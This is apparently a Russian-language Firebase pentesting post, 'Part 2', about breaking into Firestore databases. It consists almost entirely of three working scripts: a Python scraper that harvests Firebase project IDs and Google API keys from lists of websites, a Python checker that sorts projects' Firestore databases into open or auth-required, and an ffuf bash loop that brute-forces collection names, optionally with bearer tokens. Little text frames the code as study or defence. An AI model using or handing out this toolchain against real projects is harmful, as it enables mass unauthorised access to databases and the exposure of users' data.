Firebase пентест (Часть 2): Повышаем привелегии через authentication, ломаем базы firestore и вытаскиваем от туда много интересного

from __future__ import annotations
import argparse
import concurrent.futures
import re
import sys
from urllib.parse import urlparse
from threading import Lock

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    import requests
except Exception:
    sys.exit("Install requests: pip install requests")

try:
    import colorama
    colorama.init(autoreset=True)
    RED = colorama.Fore.RED + colorama.Style.BRIGHT
    GREEN = colorama.Fore.GREEN + colorama.Style.BRIGHT
    YELLOW = colorama.Fore.YELLOW + colorama.Style.BRIGHT
    CYAN = colorama.Fore.CYAN + colorama.Style.BRIGHT
    RESET = colorama.Style.RESET_ALL
except Exception:
    sys.exit("Install colorama: pip install colorama")

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"}

# Захват поддоменов firebase
SUB_RX = re.compile(r'([A-Za-z0-9\-]{2,})\.(?:firebasedatabase\.app|firebaseapp\.com|appspot\.com|firebaseio\.com)', re.I)

# Стандартные поля firebase
FIELD_RX = {
    k: re.compile(rf'(?:["\']{re.escape(k)}["\']\s*[:=]\s*)(["\'`])([^"\']+)\1', re.I)
    for k in ("projectId", "authDomain", "databaseURL", "storageBucket")
}

# Запасной, более свободный парсер полей
FALLBACK_RX = re.compile(
    r'[\"\'`](projectId|authDomain|databaseURL|storageBucket)[\"\'`]\s*[:=]?\s*([\"\'`])([^\"\'\n]+)\2',
    re.I
)

# Жёсткий регекс для Google API-ключа: 'AIza' + ровно 35 символов (буквы/цифры/_/-)
API_KEY_RX = re.compile(r'AIza[0-9A-Za-z\-_]{35}')


def norm_url(u: str):
    u = (u or "").strip()
    if not u:
        return None
    p = urlparse(u)
    return u if p.scheme in ("http", "https") or p.scheme == "" else u


def fetch(url: str, timeout: int):
    try:
        r = requests.get(url, headers=UA, timeout=timeout, allow_redirects=True, verify=True)
        return r.status_code, r.text
    except requests.exceptions.SSLError:
        try:
            r = requests.get(url, headers=UA, timeout=timeout, allow_redirects=True, verify=False)
            return r.status_code, r.text
        except Exception as e:
            return None, f"ERR:{e}"
    except Exception as e:
        return None, f"ERR:{e}"


def try_schemes(orig: str, timeout: int):
    p = urlparse(orig)
    if p.scheme in ("http", "https"):
        cand = [orig]
        if p.scheme == "http":
            cand.append("https://" + p.netloc + p.path + (("?" + p.query) if p.query else ""))
    else:
        cand = ["https://" + orig, "http://" + orig]

    last = None
    for u in cand:
        s, t = fetch(u, timeout)
        if s is None:
            last = t
            continue
        return u, s, t
    return None, None, last or f"fail:{orig}"


def parse(text: str):
    found = {}
    low = (text or "").lower()
    domain_hit = any(d in low for d in (
        ".firebasedatabase.app",
        "firebaseapp.com",
        "firebaseio.com",
        "appspot.com"
    ))

    for k, rx in FIELD_RX.items():
        m = rx.search(text)
        if m:
            found[k] = m.group(2).strip()

    if len(found) < 1:
        for m in FALLBACK_RX.finditer(text):
            if m.group(1) not in found:
                found[m.group(1)] = m.group(3).strip()

    sub = SUB_RX.findall(text)
    if sub:
        found['sub'] = sub[0]

    apikeys = API_KEY_RX.findall(text or "")

    return found, apikeys, domain_hit


def pick_project_id(found: dict):
    """
    Выбираем projectId только из данных, найденных на странице (found).
    Это гарантирует, что projectId действительно был найдён в теле ответа.
    """
    pid = (found.get('projectId') or "").strip()
    if pid and pid != "-":
        return pid

    pid = (found.get('sub') or "").strip()
    if pid and pid != "-":
        return pid

    for k in ('authDomain', 'databaseURL', 'storageBucket'):
        v = (found.get(k) or "").strip()
        if not v:
            continue
        try:
            p = urlparse(v if v.startswith('http') else 'https://' + v)
            host = (p.netloc or p.path).split(':')[0]
        except Exception:
            host = v
        m = re.match(r'^([A-Za-z0-9\-]+)', host)
        if m:
            return m.group(1)

    return None


def inspect(u: str, timeout: int = 10):
    """
    Инспект одной строки. Возвращаем только данные, найденные в ТЕЛЕ ЭТОЙ страницы.
    """
    n = norm_url(u)
    if not n:
        return {'url': u, 'projectId': None, 'apikeys': [], 'ok': False}

    tried, status, body = try_schemes(n, timeout)
    if status is None:
        return {'url': u, 'projectId': None, 'apikeys': [], 'ok': False}

    found, apikeys, hit = parse(body)
    pid = pick_project_id(found) or None

    # Возвращаем pid и apikeys конкретно для этой страницы
    return {'url': tried or n, 'projectId': pid, 'apikeys': apikeys, 'ok': bool(pid or apikeys)}


def run(path: str, workers: int, timeout: int, opid_path: str | None,
        oak_path: str | None, comb_path: str | None):
    """
    Основной цикл: построчно запускаем inspect в потоках и сразу пишем результаты
    в соответствующие файлы по мере появления.
    """

    try:
        with open(path, 'r', encoding='utf-8', errors='ignore') as f:
            lines = [l.strip() for l in f if l.strip()]
    except Exception as e:
        sys.exit(f"Read err:{e}")

    lock = Lock()

    written_pids = set()
    written_keys = set()
    written_pairs = set()

    # Открываем файлы в режиме 'a' (append). Можно поменять на 'w' если хотим перезаписывать.
    opf = open(opid_path, "a", encoding="utf-8") if opid_path else None
    oakf = open(oak_path, "a", encoding="utf-8") if oak_path else None
    combf = open(comb_path, "a", encoding="utf-8") if comb_path else None

    tot = found = 0

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futs = {ex.submit(inspect, url, timeout): url for url in lines}

        for fut in concurrent.futures.as_completed(futs):
            url = futs[fut]
            tot += 1

            try:
                r = fut.result()
            except Exception:
                r = {'url': url, 'projectId': None, 'apikeys': [], 'ok': False}

            pid = r.get("projectId")
            keys = r.get("apikeys") or []

            # Если на странице найден projectId — выводим и записываем (если требуется)
            if pid:
                print(f"{GREEN}[PROJECT]{RESET} {pid} - {r['url']}")
                if opf:
                    with lock:
                        if pid not in written_pids:
                            opf.write(pid + "\n")
                            opf.flush()
                            written_pids.add(pid)
                found += 1

            # Если на странице найдены apikeys — выводим и записываем (если требуется)
            if keys:
                for k in keys:
                    print(f"{CYAN}[APIKEY]{RESET} {k} - {r['url']}")
                    if oakf:
                        with lock:
                            if k not in written_keys:
                                oakf.write(k + "\n")
                                oakf.flush()
                                written_keys.add(k)

            if pid and keys:
                for k in keys:
                    pair = f"{pid}:{k}"
                    if combf:
                        with lock:
                            if pair not in written_pairs:
                                combf.write(pair + "\n")
                                combf.flush()
                                written_pairs.add(pair)
                                print(f"{CYAN}[PAIR-WROTE]{RESET} {pair} - {r['url']}")
                    else:
                        # файл не открыт — просто показываем в stdout
                        print(f"{CYAN}[PAIR]{RESET} {pair} - {r['url']}")

            if not pid and not keys:
                print(f"{YELLOW}[NO-DATA]{RESET} {r['url']}")

    if opf: opf.close()
    if oakf: oakf.close()
    if combf: combf.close()

    return {
        "total": tot,
        "found": found
    }


def main():
    p = argparse.ArgumentParser()
    p.add_argument("file")
    p.add_argument("-opid", "--projectids", help="save project ids to file")
    p.add_argument("-oak", "--apikeys", help="save API keys to file")
    p.add_argument("-o", "--output", help="save pairs projectId:apiKey (only when both found on the same page)")
    p.add_argument("--workers", type=int, default=10)
    p.add_argument("--timeout", type=int, default=10)

    args = p.parse_args()

    stats = run(
        args.file,
        args.workers,
        args.timeout,
        args.projectids,
        args.apikeys,
        args.output
    )

    print(f"{CYAN}Processed:{RESET} {stats['total']} {GREEN}found projectIds:{stats['found']}{RESET}")


if __name__ == "__main__":
    main()

https://pastebin.com/uc7ADd8s#!/usr/bin/env python3
import argparse
import os
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests
from colorama import Fore, Style, init as colorama_init

colorama_init(autoreset=True)

outdir = "checker_output"
files_map = {
    "open": "open.txt",
    "auth": "auth.txt",
    "open_no_key": "opennoapikey.txt",
    "auth_no_key": "authnoapikey.txt",
}
DEF_THREADS = 10
REQ_TIMEOUT = 10
UA_STRING = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"

lock_stats = threading.Lock()
lock_write = threading.Lock()
stats = {"checked": 0, "open": 0, "auth": 0, "notfound": 0, "errors": 0}


def append_line(fname: str, line: str):
    path = os.path.join(outdir, fname)
    with lock_write:
        with open(path, "a", encoding="utf-8") as fh:
            fh.write(line.rstrip() + "\n")


def info(msg: str):
    print(f"{Fore.CYAN}[INFO] {Style.RESET_ALL}{msg}")


def ok(msg: str):
    print(f"{Fore.GREEN}[OPEN] {Style.RESET_ALL}{msg}")


def auth_warn(msg: str):
    print(f"{Fore.YELLOW}[AUTH] {Style.RESET_ALL}{msg}")


def notfound_log(msg: str):
    print(f"{Fore.MAGENTA}[NOT FOUND] {Style.RESET_ALL}{msg}")


def fail(msg: str):
    print(f"{Fore.RED}[ERROR] {Style.RESET_ALL}{msg}")


def decide_response(body: str) -> str:
    t = body.strip()
    if t == "{}" or t == '{"fields":{}}' or t == '{"fields": {}}':
        return "open"
    if "Missing or insufficient permissions" in body:
        return "auth"
    return "other"


def probe_with_key(sess: requests.Session, proj: str, key: str, timeout: int = REQ_TIMEOUT):
    base = f"https://firestore.googleapis.com/v1/projects/{proj}/databases/(default)/documents/randomcollection866"
    url = f"{base}?key={key}"
    headers = {"User-Agent": UA_STRING}
    try:
        r = sess.get(url, headers=headers, timeout=timeout)
        res = decide_response(r.text)
        with lock_stats:
            stats["checked"] += 1
        if res == "open":
            with lock_stats:
                stats["open"] += 1
            ok(f"{proj}:{key} -> OPEN")
            append_line(files_map["open"], f"{proj}:{key}")
        elif res == "auth":
            with lock_stats:
                stats["auth"] += 1
            auth_warn(f"{proj}:{key} -> AUTH REQUIRED")
            append_line(files_map["auth"], f"{proj}:{key}")
        else:
            with lock_stats:
                stats["notfound"] += 1
            notfound_log(f"{proj}:{key}")
    except Exception as e:
        with lock_stats:
            stats["errors"] += 1
        fail(f"{proj}:{key} -> Exception: {e}")


def probe_no_key(sess: requests.Session, proj: str, timeout: int = REQ_TIMEOUT):
    url = f"https://firestore.googleapis.com/v1/projects/{proj}/databases/(default)/documents/randomcollection866"
    headers = {"User-Agent": UA_STRING}
    try:
        r = sess.get(url, headers=headers, timeout=timeout)
        res = decide_response(r.text)
        with lock_stats:
            stats["checked"] += 1
        if res == "open":
            with lock_stats:
                stats["open"] += 1
            ok(f"{proj} -> OPEN (no API key)")
            append_line(files_map["open_no_key"], f"{proj}")
        elif res == "auth":
            with lock_stats:
                stats["auth"] += 1
            auth_warn(f"{proj} -> AUTH REQUIRED (no API key)")
            append_line(files_map["auth_no_key"], f"{proj}")
        else:
            with lock_stats:
                stats["notfound"] += 1
            notfound_log(f"{proj}")
    except Exception as e:
        with lock_stats:
            stats["errors"] += 1
        fail(f"{proj} -> Exception: {e}")


def read_lines(path: str):
    with open(path, "r", encoding="utf-8", errors="ignore") as fh:
        for ln in fh:
            s = ln.strip()
            if not s:
                continue
            if s.startswith("#"):
                continue
            yield s


def ensure_outdir():
    os.makedirs(outdir, exist_ok=True)
    for v in files_map.values():
        p = os.path.join(outdir, v)
        if not os.path.exists(p):
            open(p, "a", encoding="utf-8").close()


def worker_with_key(proj: str, key: str, timeout: int):
    s = requests.Session()
    try:
        probe_with_key(s, proj, key, timeout=timeout)
    finally:
        s.close()


def worker_no_key(proj: str, timeout: int):
    s = requests.Session()
    try:
        probe_no_key(s, proj, timeout=timeout)
    finally:
        s.close()


def main():
    p = argparse.ArgumentParser(description="simple firestore checker")
    g = p.add_mutually_exclusive_group(required=True)
    g.add_argument("-fpa", "--file-projects-with-api", help="projectId:apiKey per line")
    g.add_argument("-fpid", "--file-projects", help="projectId per line")
    p.add_argument("-t", "--threads", type=int, default=DEF_THREADS)
    p.add_argument("--timeout", type=int, default=REQ_TIMEOUT)
    args = p.parse_args()

    ensure_outdir()

    tasks = []
    mode = None
    if args.file_projects_with_api:
        mode = "with"
        for line in read_lines(args.file_projects_with_api):
            if ":" not in line:
                info(f"skip malformed: {line!r}")
                continue
            a, b = map(str.strip, line.split(":", 1))
            if not a or not b:
                info(f"skip malformed: {line!r}")
                continue
            tasks.append((a, b))
    else:
        mode = "no"
        for line in read_lines(args.file_projects):
            tasks.append(line.strip())

    total = len(tasks)
    if total == 0:
        fail("No valid entries found. Exiting.")
        sys.exit(1)

    info(f"Mode: {'projectId:apiKey' if mode=='with' else 'projectId-only'}")
    info(f"Entries to check: {total}")
    info(f"Threads: {args.threads}, Timeout: {args.timeout}s")
    info(f"Outputs: {outdir}")

    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futs = []
        if mode == "with":
            for proj, key in tasks:
                futs.append(ex.submit(worker_with_key, proj, key, args.timeout))
        else:
            for proj in tasks:
                futs.append(ex.submit(worker_no_key, proj, args.timeout))
        try:
            for f in as_completed(futs):
                _ = f.result()
        except KeyboardInterrupt:
            fail("Interrupted. Shutting down.")
            ex.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)

    print()
    print("=" * 60)
    print(f"Total checked: {stats['checked']}")
    print(f"{Fore.GREEN}Open: {stats['open']}{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}Auth required: {stats['auth']}{Style.RESET_ALL}")
    print(f"{Fore.MAGENTA}Not found / Unavailable: {stats['notfound']}{Style.RESET_ALL}")
    print(f"{Fore.RED}Errors: {stats['errors']}{Style.RESET_ALL}")
    print(f"Results saved in: {outdir}")
    print("=" * 60)


if __name__ == "__main__":
    main()

#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'

if ! command -v ffuf >/dev/null 2>&1; then
  exit 1
fi

if [ "$#" -lt 2 ]; then
  exit 2
fi

PROJECTS_FILE="$1"
WORDLIST="$2"
THREADS="${3:-40}"

PROXY="http://127.0.0.1:8080"

if [ ! -f "$PROJECTS_FILE" ]; then
  exit 3
fi
if [ ! -f "$WORDLIST" ]; then
  exit 4
fi

MATCH_CODES="200"

while IFS= read -r raw || [ -n "$raw" ]; do
  line="$(echo "$raw" | tr -d '\r' | xargs)"
  [ -z "$line" ] && continue

  IFS=':' read -ra parts <<< "$line"
  part_count="${#parts[@]}"
  PROJECTID="${parts[0]}"
  APIKEY=""
  IDTOKEN=""

  if [ "$part_count" -ge 2 ]; then
    APIKEY="${parts[1]}"
  fi

  if [ "$part_count" -ge 3 ]; then
    IDTOKEN="${parts[2]}"
    if [ "$part_count" -gt 3 ]; then
      for i in "${parts[@]:3}"; do IDTOKEN="${IDTOKEN}:$i"; done
    fi
  fi

  if [ -n "$APIKEY" ]; then
    URL="https://firestore.googleapis.com/v1/projects/${PROJECTID}/databases/(default)/documents/FUZZ?key=${APIKEY}"
  else
    URL="https://firestore.googleapis.com/v1/projects/${PROJECTID}/databases/(default)/documents/FUZZ"
  fi

  HEADER_ARGS=()
  if [ -n "$IDTOKEN" ]; then
    HEADER_ARGS+=( -H "Authorization: Bearer ${IDTOKEN}" )
  fi

  ffuf -s -w "${WORDLIST}" -u "${URL}" -t "${THREADS}" -mc ${MATCH_CODES} -x "${PROXY}" "${HEADER_ARGS[@]}" || true
  sleep 0.5

done < "$PROJECTS_FILE"